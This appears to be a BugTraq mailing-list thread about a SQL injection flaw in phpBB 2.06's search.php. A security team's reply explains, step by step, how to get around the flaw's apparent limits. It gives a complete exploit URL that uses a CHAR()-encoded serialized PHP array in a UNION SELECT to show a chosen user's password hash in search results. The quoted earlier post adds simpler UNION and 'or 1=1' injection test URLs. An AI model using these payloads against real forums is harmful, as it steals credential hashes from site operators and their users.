Re: phpBB 2.06 search.php SQL injection
In-Reply-To: <3FC7D97E.22063.167ABDD@localhost>
A explanation about the released exploit code:
phpBB stores the search records in serialized format in php_search_result
table.in our case when search_id is not one of these values ('newposts' ||
'egosearch' || 'unanswered' |)) then this routine will be run:
//code snnipset from search.php
$search_id = intval($search_id);
if ( $search_id )
{
$sql = "SELECT search_array
FROM " . SEARCH_TABLE . "
WHERE search_id = $search_id
AND session_id = '".
$userdata['session_id'] . "'";
if ( !($result = $db->sql_query($sql)) )
{
//
as you can see intval($search_id) is not safe, so the first idea in a Mysql>4
enviroment would be :
search_id=1 union select user_password from php_users where user_id=[uid] /*
/* will remark the rest of Sql string (AND session_id = '".
$userdata['session_id'] . "'")
but if you run this query you will get nothing useful, seeking the rest of code
in search.php we find:
//code snnipset from search.php
$search_data = unserialize($row['search_array']);
for($i = 0; $i < count($store_vars); $i++)
{
$$store_vars[$i] = $search_data$store_vars[$i]];
}
}
}
}
//
// Look up data ...
//
if ( $search_results != '' ) {
//run search queries on post_ids,... then DISPLAY results(and our requested
password;)
feeding our query to this code the $row['search_array']) will have MD5 hash of
uid BUT remeber IT MUST BE IN Serialized format to be consider by the rest of
the code responsible for DISPLAYING result sets,So we must build a query to
return PASSWORD HASH in the form of serialized variables(To learn more about
Serialize and unserialize functions see php manual).
a simple serialized string variable $a="test" will be stored like this:
a:1:{s:0:"";s:4:"test";}
and a serialized result set in search.php has this format:
a:7:{s:14:"search_results";s:28:"5184,,5538,,5721,,5776,,5979";s:17:"total_match_count";i:5;s:12:"split_search";a:1:{i:0;s:8:"aaaaaa";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:6:"topics";s:12:"return_chars";i:200;}
we will place user_password as split_search instead of "aaaaaa". using MySql
concat() and char() functions with ASCII code format of the above serilized
object:
concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))
(the CHAR function and ascii codes are used to bypass sql string ecape)
and the final qury would be :
http://site.com/search.php?search_id=1%20union%20select%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=[id]/*
running this query will return possible search results AND ALSO MD5 has as
search_split.
Thanks,
Hat-Squad Security Team
>zarath AT knightsofchaos DOT com wrote:
>
>Greetings BugTraq,
>
>I have tested this vulnerability fairly extensively since it was announced on
>phpBB.com.
>Even though the version I'm using clearly has the vulnerable code it in,
>it does not seem to work as easily as this is being made out. My server is
>running
>PHP 4.3.4, and MySQL 4.0.15. The way I tested (which you didn't provide any
>proof
>of concept code) was through a UNION command ->
>http://yourdomain/yourforums/search.php?search_id=1
>UNION select `user_password` from `phpbb_users` where user_id=1/*
>
>
>However, due to the fact that it uses an array function to pull all the
>relative
>information
>and the hash returns a single value without the seperators, it won't
>acknowledge that a result was returned.
>
>If you try -> http://yourdomain/yourforums/search.php?search_id=1 or 1=1 UNION
>select
>`user_password` from `phpbb_users` where user_id=1/*
>It will return all search results, but since it will only handle the first
>returned
>column and doesn't loop over them, it still won't display the password hash.
>
>From what I've tried so far, this doesn't really seem to be a critical
>vulnerability
>-- just an SQL injection that would allow you to get maybe the prefix of the
>forum tables or other insignifcant information.
>
>The SQL injection still exists if that URL you specified
>"http://your_site/phpBB2/search.php?search_id=1"
>returns "No topics or posts met your search criteria", also.
>A better way to test would be to mess with the query. Something like ->
>http://your_site/phpBB2/search.php?search_id=1
>or blah=blah if that returns a debugging
>error, that means your boards are vulnerable.
>
>Zarath
>
>